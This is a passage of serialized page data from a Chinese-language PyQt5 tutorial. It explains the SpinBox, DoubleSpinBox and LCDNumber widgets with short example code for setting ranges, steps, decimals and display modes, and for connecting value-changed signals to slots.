"type":18,"tag":466,"props":57622,"children":57623},{},[57624],{"type":24,"value":46470},{"type":18,"tag":466,"props":57626,"children":57627},{},[57628],{"type":24,"value":57629},"单击上下箭头时的步长值",{"type":18,"tag":439,"props":57631,"children":57632},{},[57633,57637],{"type":18,"tag":466,"props":57634,"children":57635},{},[57636],{"type":24,"value":44594},{"type":18,"tag":466,"props":57638,"children":57639},{},[57640],{"type":24,"value":57641},"获取控件中的值",{"type":18,"tag":96,"props":57643,"children":57644},{},[57645],{"type":18,"tag":34,"props":57646,"children":57647},{},[57648,57652,57654,57659,57661,57667,57669,57674],{"type":18,"tag":105,"props":57649,"children":57650},{},[57651],{"type":24,"value":33435},{"type":24,"value":57653}," 说明\n在默认情况下，",{"type":18,"tag":74,"props":57655,"children":57657},{"className":57656},[],[57658],{"type":24,"value":55499},{"type":24,"value":57660},"控件的取值范围为",{"type":18,"tag":74,"props":57662,"children":57664},{"className":57663},[],[57665],{"type":24,"value":57666},"0~99",{"type":24,"value":57668},"，步长值为",{"type":18,"tag":74,"props":57670,"children":57672},{"className":57671},[],[57673],{"type":24,"value":470},{"type":24,"value":111},{"type":18,"tag":34,"props":57676,"children":57677},{},[57678,57680,57685,57687,57692],{"type":24,"value":57679},"在单击",{"type":18,"tag":74,"props":57681,"children":57683},{"className":57682},[],[57684],{"type":24,"value":55499},{"type":24,"value":57686},"控件的上下箭头时，可以通过发射",{"type":18,"tag":74,"props":57688,"children":57690},{"className":57689},[],[57691],{"type":24,"value":46748},{"type":24,"value":57693},"，获取控件中的当前值。",{"type":18,"tag":34,"props":57695,"children":57696},{},[57697],{"type":18,"tag":105,"props":57698,"children":57699},{},[57700,57702,57707],{"type":24,"value":57701},"实例 获取",{"type":18,"tag":74,"props":57703,"children":57705},{"className":57704},[],[57706],{"type":24,"value":55499},{"type":24,"value":57708},"中选择的数字",{"type":18,"tag":34,"props":57710,"children":57711},{},[57712,57713,57718,57719,57724,57725,57730,57731,57736,57737,57742,57743,57748,57750,57755,57757,57762],{"type":24,"value":54047},{"type":18,"tag":74,"props":57714,"children":57716},{"className":57715},[],[57717],{"type":24,"value":54053},{"type":24,"value":57390},{"type":18,"tag":74,"props":57720,"children":57722},{"className":57721},[],[57723],{"type":24,"value":45647},{"type":24,"value":44677},{"type":18,"tag":74,"props":57726,"children":57728},{"className":57727},[],[57729],{"type":24,"value":55499},{"type":24,"value":43361},{"type":18,"tag":74,"props":57732,"children":57734},{"className":57733},[],[57735],{"type":24,"value":43367},{"type":24,"value":57403},{"type":18,"tag":74,"props":57738,"children":57740},{"className":57739},[],[57741],{"type":24,"value":43367},{"type":24,"value":55711},{"type":18,"tag":74,"props":57744,"children":57746},{"className":57745},[],[57747],{"type":24,"value":42560},{"type":24,"value":57749},"文件，在转换后的",{"type":18,"tag":74,"props":57751,"children":57753},{"className":57752},[],[57754],{"type":24,"value":42560},{"type":24,"value":57756},"文件中，分别设置数字选择控件的最小值、最大值和步长值。关于",{"type":18,"tag":74,"props":57758,"children":57760},{"className":57759},[],[57761],{"type":24,"value":55499},{"type":24,"value":57763},"控件的关键代码如下：",{"type":18,"tag":287,"props":57765,"children":57767},{"className":28710,"code":57766,"language":28712,"meta":8,"style":8},"self.spinBox = QtWidgets.QSpinBox(self.centralwidget)  \nself.spinBox.setGeometry(QtCore.QRect(100, 70, 221, 41))  \nself.spinBox.setObjectName(\"spinBox\")  \nself.spinBox.setMinimum(0)      # 设置最小值  \nself.spinBox.setMaximum(100)    # 设置最大值  \nself.spinBox.setSingleStep(2)   # 设置步长值\n",[57768],{"type":18,"tag":74,"props":57769,"children":57770},{"__ignoreMap":8},[57771,57779,57787,57795,57803,57811],{"type":18,"tag":297,"props":57772,"children":57773},{"class":299,"line":300},[57774],{"type":18,"tag":297,"props":57775,"children":57776},{},[57777],{"type":24,"value":57778},"self.spinBox = QtWidgets.QSpinBox(self.centralwidget)  \n",{"type":18,"tag":297,"props":57780,"children":57781},{"class":299,"line":657},[57782],{"type":18,"tag":297,"props":57783,"children":57784},{},[57785],{"type":24,"value":57786},"self.spinBox.setGeometry(QtCore.QRect(100, 70, 221, 41))  \n",{"type":18,"tag":297,"props":57788,"children":57789},{"class":299,"line":662},[57790],{"type":18,"tag":297,"props":57791,"children":57792},{},[57793],{"type":24,"value":57794},"self.spinBox.setObjectName(\"spinBox\")  \n",{"type":18,"tag":297,"props":57796,"children":57797},{"class":299,"line":799},[57798],{"type":18,"tag":297,"props":57799,"children":57800},{},[57801],{"type":24,"value":57802},"self.spinBox.setMinimum(0)      # 设置最小值  \n",{"type":18,"tag":297,"props":57804,"children":57805},{"class":299,"line":808},[57806],{"type":18,"tag":297,"props":57807,"children":57808},{},[57809],{"type":24,"value":57810},"self.spinBox.setMaximum(100)    # 设置最大值  \n",{"type":18,"tag":297,"props":57812,"children":57813},{"class":299,"line":817},[57814],{"type":18,"tag":297,"props":57815,"children":57816},{},[57817],{"type":24,"value":57818},"self.spinBox.setSingleStep(2)   # 设置步长值\n",{"type":18,"tag":96,"props":57820,"children":57821},{},[57822,57839],{"type":18,"tag":34,"props":57823,"children":57824},{},[57825,57829,57831,57837],{"type":18,"tag":105,"props":57826,"children":57827},{},[57828],{"type":24,"value":44648},{"type":24,"value":57830}," 多学两招\n在上面代码中的第4行和第5行代码分别用来设置最小值和最大值，它们还可以使用",{"type":18,"tag":74,"props":57832,"children":57834},{"className":57833},[],[57835],{"type":24,"value":57836},"setRange()方法",{"type":24,"value":57838},"代替，代码如下：",{"type":18,"tag":287,"props":57840,"children":57842},{"className":28710,"code":57841,"language":28712,"meta":8,"style":8},"self.spinBox.setRange(0, 100)\n",[57843],{"type":18,"tag":74,"props":57844,"children":57845},{"__ignoreMap":8},[57846],{"type":18,"tag":297,"props":57847,"children":57848},{"class":299,"line":300},[57849],{"type":18,"tag":297,"props":57850,"children":57851},{},[57852],{"type":24,"value":57841},{"type":18,"tag":34,"props":57854,"children":57855},{},[57856,57858,57863,57865,57871,57872,57877,57879,57884],{"type":24,"value":57857},"自定义一个",{"type":18,"tag":74,"props":57859,"children":57861},{"className":57860},[],[57862],{"type":24,"value":55221},{"type":24,"value":57864},"，使用",{"type":18,"tag":74,"props":57866,"children":57868},{"className":57867},[],[57869],{"type":24,"value":57870},"value()方法",{"type":24,"value":56439},{"type":18,"tag":74,"props":57873,"children":57875},{"className":57874},[],[57876],{"type":24,"value":55499},{"type":24,"value":57878},"控件中的当前值，并显示在",{"type":18,"tag":74,"props":57880,"children":57882},{"className":57881},[],[57883],{"type":24,"value":45647},{"type":24,"value":57885},"控件中，代码如下：",{"type":18,"tag":287,"props":57887,"children":57889},{"className":28710,"code":57888,"language":28712,"meta":8,"style":8},"# 获取SpinBox的当前值，并显示在Label中  \ndef getvalue(self):  \n    self.label_2.setText(str(self.spinBox.value()))\n",[57890],{"type":18,"tag":74,"props":57891,"children":57892},{"__ignoreMap":8},[57893,57901,57908],{"type":18,"tag":297,"props":57894,"children":57895},{"class":299,"line":300},[57896],{"type":18,"tag":297,"props":57897,"children":57898},{},[57899],{"type":24,"value":57900},"# 获取SpinBox的当前值，并显示在Label中  \n",{"type":18,"tag":297,"props":57902,"children":57903},{"class":299,"line":657},[57904],{"type":18,"tag":297,"props":57905,"children":57906},{},[57907],{"type":24,"value":55245},{"type":18,"tag":297,"props":57909,"children":57910},{"class":299,"line":662},[57911],{"type":18,"tag":297,"props":57912,"children":57913},{},[57914],{"type":24,"value":57915},"    self.label_2.setText(str(self.spinBox.value()))\n",{"type":18,"tag":34,"props":57917,"children":57918},{},[57919,57920,57925,57926,57931,57932,57938],{"type":24,"value":55361},{"type":18,"tag":74,"props":57921,"children":57923},{"className":57922},[],[57924],{"type":24,"value":55499},{"type":24,"value":43973},{"type":18,"tag":74,"props":57927,"children":57929},{"className":57928},[],[57930],{"type":24,"value":46748},{"type":24,"value":54349},{"type":18,"tag":74,"props":57933,"children":57935},{"className":57934},[],[57936],{"type":24,"value":57937},"getvalue()槽函数",{"type":24,"value":55382},{"type":18,"tag":287,"props":57940,"children":57942},{"className":28710,"code":57941,"language":28712,"meta":8,"style":8},"# 将valueChanged信号与自定义槽函数相关联  \nself.spinBox.valueChanged.connect(self.getvalue)\n",[57943],{"type":18,"tag":74,"props":57944,"children":57945},{"__ignoreMap":8},[57946,57954],{"type":18,"tag":297,"props":57947,"children":57948},{"class":299,"line":300},[57949],{"type":18,"tag":297,"props":57950,"children":57951},{},[57952],{"type":24,"value":57953},"# 将valueChanged信号与自定义槽函数相关联  \n",{"type":18,"tag":297,"props":57955,"children":57956},{"class":299,"line":657},[57957],{"type":18,"tag":297,"props":57958,"children":57959},{},[57960],{"type":24,"value":57961},"self.spinBox.valueChanged.connect(self.getvalue)\n",{"type":18,"tag":34,"props":57963,"children":57964},{},[57965,57966,57971,57973,57978],{"type":24,"value":48801},{"type":18,"tag":74,"props":57967,"children":57969},{"className":57968},[],[57970],{"type":24,"value":42560},{"type":24,"value":57972},"文件添加程序入口，然后运行程序，单击数字选择控件的上下箭头时，在",{"type":18,"tag":74,"props":57974,"children":57976},{"className":57975},[],[57977],{"type":24,"value":45647},{"type":24,"value":57979},"控件中实时显示数字选择控件中的数值，效果如图所示。",{"type":18,"tag":34,"props":57981,"children":57982},{},[57983],{"type":18,"tag":54,"props":57984,"children":57987},{"alt":57985,"src":57986},"Pasted image 20250828104840","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250828104840.png",[],{"type":18,"tag":19,"props":57989,"children":57991},{"id":57990},"_5doublespinbox小数数字选择控件",[57992,57993,57998],{"type":24,"value":54996},{"type":18,"tag":74,"props":57994,"children":57996},{"className":57995},[],[57997],{"type":24,"value":55506},{"type":24,"value":57999},"：小数数字选择控件",{"type":18,"tag":121,"props":58001,"children":58002},{},[],{"type":18,"tag":34,"props":58004,"children":58005},{},[58006,58011,58012,58017,58019,58024,58026,58031,58033,58039],{"type":18,"tag":74,"props":58007,"children":58009},{"className":58008},[],[58010],{"type":24,"value":55506},{"type":24,"value":45664},{"type":18,"tag":74,"props":58013,"children":58015},{"className":58014},[],[58016],{"type":24,"value":55499},{"type":24,"value":58018},"控件类似，区别是它",{"type":18,"tag":105,"props":58020,"children":58021},{},[58022],{"type":24,"value":58023},"用来选择小数数字",{"type":24,"value":58025},"，并且",{"type":18,"tag":105,"props":58027,"children":58028},{},[58029],{"type":24,"value":58030},"默认保留两位小数",{"type":24,"value":58032},"，它对应PyQt5中的",{"type":18,"tag":74,"props":58034,"children":58036},{"className":58035},[],[58037],{"type":24,"value":58038},"QDoubleSpinBox",{"type":24,"value":51646},{"type":18,"tag":34,"props":58041,"children":58042},{},[58043,58048,58049,58054,58056,58062],{"type":18,"tag":74,"props":58044,"children":58046},{"className":58045},[],[58047],{"type":24,"value":55506},{"type":24,"value":53698},{"type":18,"tag":74,"props":58050,"children":58052},{"className":58051},[],[58053],{"type":24,"value":55499},{"type":24,"value":58055},"控件类似，但由于它处理的是小数数字，因此该控件提供了一个",{"type":18,"tag":74,"props":58057,"children":58059},{"className":58058},[],[58060],{"type":24,"value":58061},"setDecimals()方法",{"type":24,"value":58063},"，用来设置小数的位数。",{"type":18,"tag":34,"props":58065,"children":58066},{},[58067],{"type":18,"tag":105,"props":58068,"children":58069},{},[58070,58072,58077],{"type":24,"value":58071},"实例 设置",{"type":18,"tag":74,"props":58073,"children":58075},{"className":58074},[],[58076],{"type":24,"value":55506},{"type":24,"value":58078},"中的小数位数并获取选择的数字",{"type":18,"tag":34,"props":58080,"children":58081},{},[58082,58083,58088,58089,58094,58095,58100,58101,58106,58107,58112,58113,58118,58119,58124,58126,58131],{"type":24,"value":54047},{"type":18,"tag":74,"props":58084,"children":58086},{"className":58085},[],[58087],{"type":24,"value":54053},{"type":24,"value":57390},{"type":18,"tag":74,"props":58090,"children":58092},{"className":58091},[],[58093],{"type":24,"value":45647},{"type":24,"value":44677},{"type":18,"tag":74,"props":58096,"children":58098},{"className":58097},[],[58099],{"type":24,"value":55506},{"type":24,"value":43361},{"type":18,"tag":74,"props":58102,"children":58104},{"className":58103},[],[58105],{"type":24,"value":43367},{"type":24,"value":57403},{"type":18,"tag":74,"props":58108,"children":58110},{"className":58109},[],[58111],{"type":24,"value":43367},{"type":24,"value":55711},{"type":18,"tag":74,"props":58114,"children":58116},{"className":58115},[],[58117],{"type":24,"value":42560},{"type":24,"value":57749},{"type":18,"tag":74,"props":58120,"children":58122},{"className":58121},[],[58123],{"type":24,"value":42560},{"type":24,"value":58125},"文件中，分别设置小数数字选择控件的最小值、最大值、步长值，以及保留3位小数。有关",{"type":18,"tag":74,"props":58127,"children":58129},{"className":58128},[],[58130],{"type":24,"value":55506},{"type":24,"value":57763},{"type":18,"tag":287,"props":58133,"children":58135},{"className":28710,"code":58134,"language":28712,"meta":8,"style":8},"self.doubleSpinBox = QtWidgets.QDoubleSpinBox(self.centralwidget)  \nself.doubleSpinBox.setGeometry(QtCore.QRect(90, 60, 211, 51))  \nself.doubleSpinBox.setObjectName(\"doubleSpinBox\")  \nself.doubleSpinBox.setMinimum(0)  # 设置最小值  \nself.doubleSpinBox.setMaximum(99.999)  # 设置最大值  \nself.doubleSpinBox.setSingleStep(0.001)  # 设置步长值  \nself.doubleSpinBox.setDecimals(3)  # 设置保留3位小数\n",[58136],{"type":18,"tag":74,"props":58137,"children":58138},{"__ignoreMap":8},[58139,58147,58155,58163,58171,58179,58187],{"type":18,"tag":297,"props":58140,"children":58141},{"class":299,"line":300},[58142],{"type":18,"tag":297,"props":58143,"children":58144},{},[58145],{"type":24,"value":58146},"self.doubleSpinBox = QtWidgets.QDoubleSpinBox(self.centralwidget)  \n",{"type":18,"tag":297,"props":58148,"children":58149},{"class":299,"line":657},[58150],{"type":18,"tag":297,"props":58151,"children":58152},{},[58153],{"type":24,"value":58154},"self.doubleSpinBox.setGeometry(QtCore.QRect(90, 60, 211, 51))  \n",{"type":18,"tag":297,"props":58156,"children":58157},{"class":299,"line":662},[58158],{"type":18,"tag":297,"props":58159,"children":58160},{},[58161],{"type":24,"value":58162},"self.doubleSpinBox.setObjectName(\"doubleSpinBox\")  \n",{"type":18,"tag":297,"props":58164,"children":58165},{"class":299,"line":799},[58166],{"type":18,"tag":297,"props":58167,"children":58168},{},[58169],{"type":24,"value":58170},"self.doubleSpinBox.setMinimum(0)  # 设置最小值  \n",{"type":18,"tag":297,"props":58172,"children":58173},{"class":299,"line":808},[58174],{"type":18,"tag":297,"props":58175,"children":58176},{},[58177],{"type":24,"value":58178},"self.doubleSpinBox.setMaximum(99.999)  # 设置最大值  \n",{"type":18,"tag":297,"props":58180,"children":58181},{"class":299,"line":817},[58182],{"type":18,"tag":297,"props":58183,"children":58184},{},[58185],{"type":24,"value":58186},"self.doubleSpinBox.setSingleStep(0.001)  # 设置步长值  \n",{"type":18,"tag":297,"props":58188,"children":58189},{"class":299,"line":826},[58190],{"type":18,"tag":297,"props":58191,"children":58192},{},[58193],{"type":24,"value":58194},"self.doubleSpinBox.setDecimals(3)  # 设置保留3位小数\n",{"type":18,"tag":34,"props":58196,"children":58197},{},[58198,58199,58204,58205,58210,58211,58216,58217,58222],{"type":24,"value":57857},{"type":18,"tag":74,"props":58200,"children":58202},{"className":58201},[],[58203],{"type":24,"value":55221},{"type":24,"value":57864},{"type":18,"tag":74,"props":58206,"children":58208},{"className":58207},[],[58209],{"type":24,"value":57870},{"type":24,"value":56439},{"type":18,"tag":74,"props":58212,"children":58214},{"className":58213},[],[58215],{"type":24,"value":55506},{"type":24,"value":57878},{"type":18,"tag":74,"props":58218,"children":58220},{"className":58219},[],[58221],{"type":24,"value":45647},{"type":24,"value":57885},{"type":18,"tag":287,"props":58224,"children":58226},{"className":28710,"code":58225,"language":28712,"meta":8,"style":8},"# 获取DoubleSpinBox的当前值，并显示在Label中  \ndef getvalue(self):  \n    self.label_2.setText(str(self.doubleSpinBox.value()))\n",[58227],{"type":18,"tag":74,"props":58228,"children":58229},{"__ignoreMap":8},[58230,58238,58245],{"type":18,"tag":297,"props":58231,"children":58232},{"class":299,"line":300},[58233],{"type":18,"tag":297,"props":58234,"children":58235},{},[58236],{"type":24,"value":58237},"# 获取DoubleSpinBox的当前值，并显示在Label中  \n",{"type":18,"tag":297,"props":58239,"children":58240},{"class":299,"line":657},[58241],{"type":18,"tag":297,"props":58242,"children":58243},{},[58244],{"type":24,"value":55245},{"type":18,"tag":297,"props":58246,"children":58247},{"class":299,"line":662},[58248],{"type":18,"tag":297,"props":58249,"children":58250},{},[58251],{"type":24,"value":58252},"    self.label_2.setText(str(self.doubleSpinBox.value()))\n",{"type":18,"tag":34,"props":58254,"children":58255},{},[58256,58257,58262,58263,58268,58269,58274],{"type":24,"value":55361},{"type":18,"tag":74,"props":58258,"children":58260},{"className":58259},[],[58261],{"type":24,"value":55506},{"type":24,"value":43973},{"type":18,"tag":74,"props":58264,"children":58266},{"className":58265},[],[58267],{"type":24,"value":46748},{"type":24,"value":54349},{"type":18,"tag":74,"props":58270,"children":58272},{"className":58271},[],[58273],{"type":24,"value":57937},{"type":24,"value":55382},{"type":18,"tag":287,"props":58276,"children":58278},{"className":28710,"code":58277,"language":28712,"meta":8,"style":8},"# 将valueChanged信号与自定义槽函数相关联  \nself.doubleSpinBox.valueChanged.connect(self.getvalue)\n",[58279],{"type":18,"tag":74,"props":58280,"children":58281},{"__ignoreMap":8},[58282,58289],{"type":18,"tag":297,"props":58283,"children":58284},{"class":299,"line":300},[58285],{"type":18,"tag":297,"props":58286,"children":58287},{},[58288],{"type":24,"value":57953},{"type":18,"tag":297,"props":58290,"children":58291},{"class":299,"line":657},[58292],{"type":18,"tag":297,"props":58293,"children":58294},{},[58295],{"type":24,"value":58296},"self.doubleSpinBox.valueChanged.connect(self.getvalue)\n",{"type":18,"tag":34,"props":58298,"children":58299},{},[58300,58301,58306,58308,58313],{"type":24,"value":48801},{"type":18,"tag":74,"props":58302,"children":58304},{"className":58303},[],[58305],{"type":24,"value":42560},{"type":24,"value":58307},"文件添加程序入口，然后运行程序，单击小数数字选择控件的上下箭头时，在",{"type":18,"tag":74,"props":58309,"children":58311},{"className":58310},[],[58312],{"type":24,"value":45647},{"type":24,"value":58314},"控件中实时显示小数数字选择控件中的数值，效果如图所示。",{"type":18,"tag":34,"props":58316,"children":58317},{},[58318],{"type":18,"tag":54,"props":58319,"children":58322},{"alt":58320,"src":58321},"Pasted image 20250828111145","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250828111145.png",[],{"type":18,"tag":19,"props":58324,"children":58326},{"id":58325},"_6lcdnumber液晶数字显示控件",[58327,58329,58334],{"type":24,"value":58328},"6  ",{"type":18,"tag":74,"props":58330,"children":58332},{"className":58331},[],[58333],{"type":24,"value":55513},{"type":24,"value":58335},"：液晶数字显示控件",{"type":18,"tag":34,"props":58337,"children":58338},{},[58339,58344,58346,58351,58352,58358],{"type":18,"tag":74,"props":58340,"children":58342},{"className":58341},[],[58343],{"type":24,"value":55513},{"type":24,"value":58345},"控件主要用来显示液晶数字。",{"type":18,"tag":74,"props":58347,"children":58349},{"className":58348},[],[58350],{"type":24,"value":55513},{"type":24,"value":41483},{"type":18,"tag":74,"props":58353,"children":58355},{"className":58354},[],[58356],{"type":24,"value":58357},"QLCDNumber",{"type":24,"value":48168},{"type":18,"tag":431,"props":58360,"children":58361},{},[58362,58382],{"type":18,"tag":435,"props":58363,"children":58364},{},[58365],{"type":18,"tag":439,"props":58366,"children":58367},{},[58368,58375],{"type":18,"tag":443,"props":58369,"children":58370},{},[58371],{"type":18,"tag":105,"props":58372,"children":58373},{},[58374],{"type":24,"value":41518},{"type":18,"tag":443,"props":58376,"children":58377},{},[58378],{"type":18,"tag":105,"props":58379,"children":58380},{},[58381],{"type":24,"value":41526},{"type":18,"tag":459,"props":58383,"children":58384},{},[58385,58398,58410,58455,58468],{"type":18,"tag":439,"props":58386,"children":58387},{},[58388,58393],{"type":18,"tag":466,"props":58389,"children":58390},{},[58391],{"type":24,"value":58392},"setDigitCount()",{"type":18,"tag":466,"props":58394,"children":58395},{},[58396],{"type":24,"value":58397},"设置可以显示的数字数量",{"type":18,"tag":439,"props":58399,"children":58400},{},[58401,58405],{"type":18,"tag":466,"props":58402,"children":58403},{},[58404],{"type":24,"value":44555},{"type":18,"tag":466,"props":58406,"children":58407},{},[58408],{"type":24,"value":58409},"设置相应属性的值",{"type":18,"tag":439,"props":58411,"children":58412},{},[58413,58418],{"type":18,"tag":466,"props":58414,"children":58415},{},[58416],{"type":24,"value":58417},"setMode()",{"type":18,"tag":466,"props":58419,"children":58420},{},[58421,58423,58426,58429,58431,58434,58437,58439,58442,58445,58447,58450,58453],{"type":24,"value":58422},"设置显示数字的模式，有以下4种模式：",{"type":18,"tag":6882,"props":58424,"children":58425},{},[],{"type":18,"tag":6882,"props":58427,"children":58428},{},[],{"type":24,"value":58430},"◆ Bin：二进制",{"type":18,"tag":6882,"props":58432,"children":58433},{},[],{"type":18,"tag":6882,"props":58435,"children":58436},{},[],{"type":24,"value":58438},"◆ Oct：八进制",{"type":18,"tag":6882,"props":58440,"children":58441},{},[],{"type":18,"tag":6882,"props":58443,"children":58444},{},[],{"type":24,"value":58446},"◆ Dec：十进制",{"type":18,"tag":6882,"props":58448,"children":58449},{},[],{"type":18,"tag":6882,"props":58451,"children":58452},{},[],{"type":24,"value":58454},"◆ Hex：十六进制",{"type":18,"tag":439,"props":58456,"children":58457},{},[58458,58463],{"type":18,"tag":466,"props":58459,"children":58460},{},[58461],{"type":24,"value":58462},"setSegmentStyle()",{"type":18,"tag":466,"props":58464,"children":58465},{},[58466],{"type":24,"value":58467},"设置显示样式，有以下3种样式：OutLine、Filled和Flat，它们的效果分别如图26、图27和图28所示",{"type":18,"tag":439,"props":58469,"children":58470},{},[58471,58475],{"type":18,"tag":466,"props":58472,"children":58473},{},[58474],{"type":24,"value":44594},{"type":18,"tag":466,"props":58476,"children":58477},{},[58478],{"type":24,"value":58479},"获取显示的数值",{"type":18,"tag":210,"props":58481,"children":58482},{},[58483],{"type":18,"tag":158,"props":58484,"children":58485},{},[58486,58492],{"type":18,"tag":74,"props":58487,"children":58489},{"className":58488},[],[58490],{"type":24,"value":58491},"OutLine",{"type":24,"value":58493},"样式",{"type":18,"tag":34,"props":58495,"children":58496},{},[58497],{"type":18,"tag":54,"props":58498,"children":58501},{"alt":58499,"src":58500},"Pasted image 20250828112756","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250828112756.png",[],{"type":18,"tag":210,"props":58503,"children":58504},{},[58505],{"type":18,"tag":158,"props":58506,"children":58507},{},[58508,58514],{"type":18,"tag":74,"props":58509,"children":58511},{"className":58510},[],[58512],{"type":24,"value":58513},"Filled",{"type":24,"value":58493},{"type":18,"tag":34,"props":58516,"children":58517},{},[58518],{"type":18,"tag":54,"props":58519,"children":58522},{"alt":58520,"src":58521},"Pasted image 20250828112706","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250828112706.png",[],{"type":18,"tag":210,"props":58524,"children":58525},{},[58526],{"type":18,"tag":158,"props":58527,"children":58528},{},[58529,58535],{"type":18,"tag":74,"props":58530,"children":58532},{"className":58531},[],[58533],{"type":24,"value":58534},"Flat",{"type":24,"value":58493},{"type":18,"tag":34,"props":58537,"children":58538},{},[58539],{"type":18,"tag":54,"props":58540,"children":58543},{"alt":58541,"src":58542},"Pasted image 20250828112614","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250828112614.png",[],{"type":18,"tag":34,"props":58545,"children":58546},{},[58547],{"type":18,"tag":105,"props":58548,"children":58549},{},[58550],{"type":24,"value":58551},"实例 设置液晶显示屏中的数字显示",{"type":18,"tag":34,"props":58553,"children":58554},{},[58555,58556,58561,58562,58567,58568,58573,58574,58579,58580,58585,58587,58592,58593,58598,58600,58605,58606,58611,58612,58617,58618,58623,58625,58630,58632,58637],{"type":24,"value":54047},{"type":18,"tag":74,"props":58557,"children":58559},{"className":58558},[],[58560],{"type":24,"value":54053},{"type":24,"value":54055},{"type":18,"tag":74,"props":58563,"children":58565},{"className":58564},[],[58566],{"type":24,"value":45647},{"type":24,"value":48003},{"type":18,"tag":74,"props":58569,"children":58571},{"className":58570},[],[58572],{"type":24,"value":55485},{"type":24,"value":44677},{"type":18,"tag":74,"props":58575,"children":58577},{"className":58576},[],[58578],{"type":24,"value":55513},{"type":24,"value":49572},{"type":18,"tag":74,"props":58581,"children":58583},{"className":58582},[],[58584],{"type":24,"value":55485},{"type":24,"value":58586},"控件用来输入数字；",{"type":18,"tag":74,"props":58588,"children":58590},{"className":58589},[],[58591],{"type":24,"value":55513},{"type":24,"value":51444},{"type":18,"tag":74,"props":58594,"children":58596},{"className":58595},[],[58597],{"type":24,"value":55485},{"type":24,"value":58599},"控件中的数字，将设计完成的窗口保存为",{"type":18,"tag":74,"props":58601,"children":58603},{"className":58602},[],[58604],{"type":24,"value":43367},{"type":24,"value":57403},{"type":18,"tag":74,"props":58607,"children":58609},{"className":58608},[],[58610],{"type":24,"value":43367},{"type":24,"value":55711},{"type":18,"tag":74,"props":58613,"children":58615},{"className":58614},[],[58616],{"type":24,"value":42560},{"type":24,"value":57749},{"type":18,"tag":74,"props":58619,"children":58621},{"className":58620},[],[58622],{"type":24,"value":42560},{"type":24,"value":58624},"文件中，设置",{"type":18,"tag":74,"props":58626,"children":58628},{"className":58627},[],[58629],{"type":24,"value":55513},{"type":24,"value":58631},"液晶显示控件的最大显示数字位数、显示样式及模式。有关",{"type":18,"tag":74,"props":58633,"children":58635},{"className":58634},[],[58636],{"type":24,"value":55513},{"type":24,"value":57763},{"type":18,"tag":287,"props":58639,"children":58641},{"className":28710,"code":58640,"language":28712,"meta":8,"style":8},"self.lcdNumber = QtWidgets.QLCDNumber(self.centralwidget)  \nself.lcdNumber.setGeometry(QtCore.QRect(40, 110, 311, 101))  \n# 设置最大显示7位数字  \nself.lcdNumber.setDigitCount(7)  \n# 设置默认以十进制显示数字  \nself.lcdNumber.setMode(QtWidgets.QLCDNumber.Dec)  \n# 设置数字显示屏的显示样式  \nself.lcdNumber.setSegmentStyle(QtWidgets.QLCDNumber.Flat)  \nself.lcdNumber.setObjectName(\"lcdNumber\")\n",[58642],{"type":18,"tag":74,"props":58643,"children":58644},{"__ignoreMap":8},[58645,58653,58661,58669,58677,58685,58693,58701,58709],{"type":18,"tag":297,"props":58646,"children":58647},{"class":299,"line":300},[58648],{"type":18,"tag":297,"props":58649,"children":58650},{},[58651],{"type":24,"value":58652},"self.lcdNumber = QtWidgets.QLCDNumber(self.centralwidget)  \n",{"type":18,"tag":297,"props":58654,"children":58655},{"class":299,"line":657},[58656],{"type":18,"tag":297,"props":58657,"children":58658},{},[58659],{"type":24,"value":58660},"self.lcdNumber.setGeometry(QtCore.QRect(40, 110, 311, 101))  \n",{"type":18,"tag":297,"props":58662,"children":58663},{"class":299,"line":662},[58664],{"type":18,"tag":297,"props":58665,"children":58666},{},[58667],{"type":24,"value":58668},"# 设置最大显示7位数字  \n",{"type":18,"tag":297,"props":58670,"children":58671},{"class":299,"line":799},[58672],{"type":18,"tag":297,"props":58673,"children":58674},{},[58675],{"type":24,"value":58676},"self.lcdNumber.setDigitCount(7)  \n",{"type":18,"tag":297,"props":58678,"children":58679},{"class":299,"line":808},[58680],{"type":18,"tag":297,"props":58681,"children":58682},{},[58683],{"type":24,"value":58684},"# 设置默认以十进制显示数字  \n",{"type":18,"tag":297,"props":58686,"children":58687},{"class":299,"line":817},[58688],{"type":18,"tag":297,"props":58689,"children":58690},{},[58691],{"type":24,"value":58692},"self.lcdNumber.setMode(QtWidgets.QLCDNumber.Dec)  \n",{"type":18,"tag":297,"props":58694,"children":58695},{"class":299,"line":826},[58696],{"type":18,"tag":297,"props":58697,"children":58698},{},[58699],{"type":24,"value":58700},"# 设置数字显示屏的显示样式  \n",{"type":18,"tag":297,"props":58702,"children":58703},{"class":299,"line":4524},[58704],{"type":18,"tag":297,"props":58705,"children":58706},{},[58707],{"type":24,"value":58708},"self.lcdNumber.setSegmentStyle(QtWidgets.QLCDNumber.Flat)  \n",{"type":18,"tag":297,"props":58710,"children":58711},{"class":299,"line":4533},[58712],{"type":18,"tag":297,"props":58713,"children":58714},{},[58715],{"type":24,"value":58716},"self.lcdNumber.setObjectName(\"lcdNumber\")\n",{"type":18,"tag":34,"props":58718,"children":58719},{},[58720,58721,58727,58728,58734,58735,58740,58742,58747],{"type":24,"value":57857},{"type":18,"tag":74,"props":58722,"children":58724},{"className":58723},[],[58725],{"type":24,"value":58726},"setvalue()方法",{"type":24,"value":57864},{"type":18,"tag":74,"props":58729,"children":58731},{"className":58730},[],[58732],{"type":24,"value":58733},"setProperty()方法",{"type":24,"value":48801},{"type":18,"tag":74,"props":58736,"children":58738},{"className":58737},[],[58739],{"type":24,"value":55513},{"type":24,"value":58741},"控件设置要显示的数字为",{"type":18,"tag":74,"props":58743,"children":58745},{"className":58744},[],[58746],{"type":24,"value":55485},{"type":24,"value":58748},"文本框中输入的数字，代码如下：",{"type":18,"tag":287,"props":58750,"children":58752},{"className":28710,"code":58751,"language":28712,"meta":8,"style":8},"# 自定义槽函数，用来在液晶显示屏中显示文本框中的数字  \ndef setvalue(self):  \n    self.lcdNumber.setProperty(\"value\", self.lineEdit.text())\n",[58753],{"type":18,"tag":74,"props":58754,"children":58755},{"__ignoreMap":8},[58756,58764,58772],{"type":18,"tag":297,"props":58757,"children":58758},{"class":299,"line":300},[58759],{"type":18,"tag":297,"props":58760,"children":58761},{},[58762],{"type":24,"value":58763},"# 自定义槽函数，用来在液晶显示屏中显示文本框中的数字  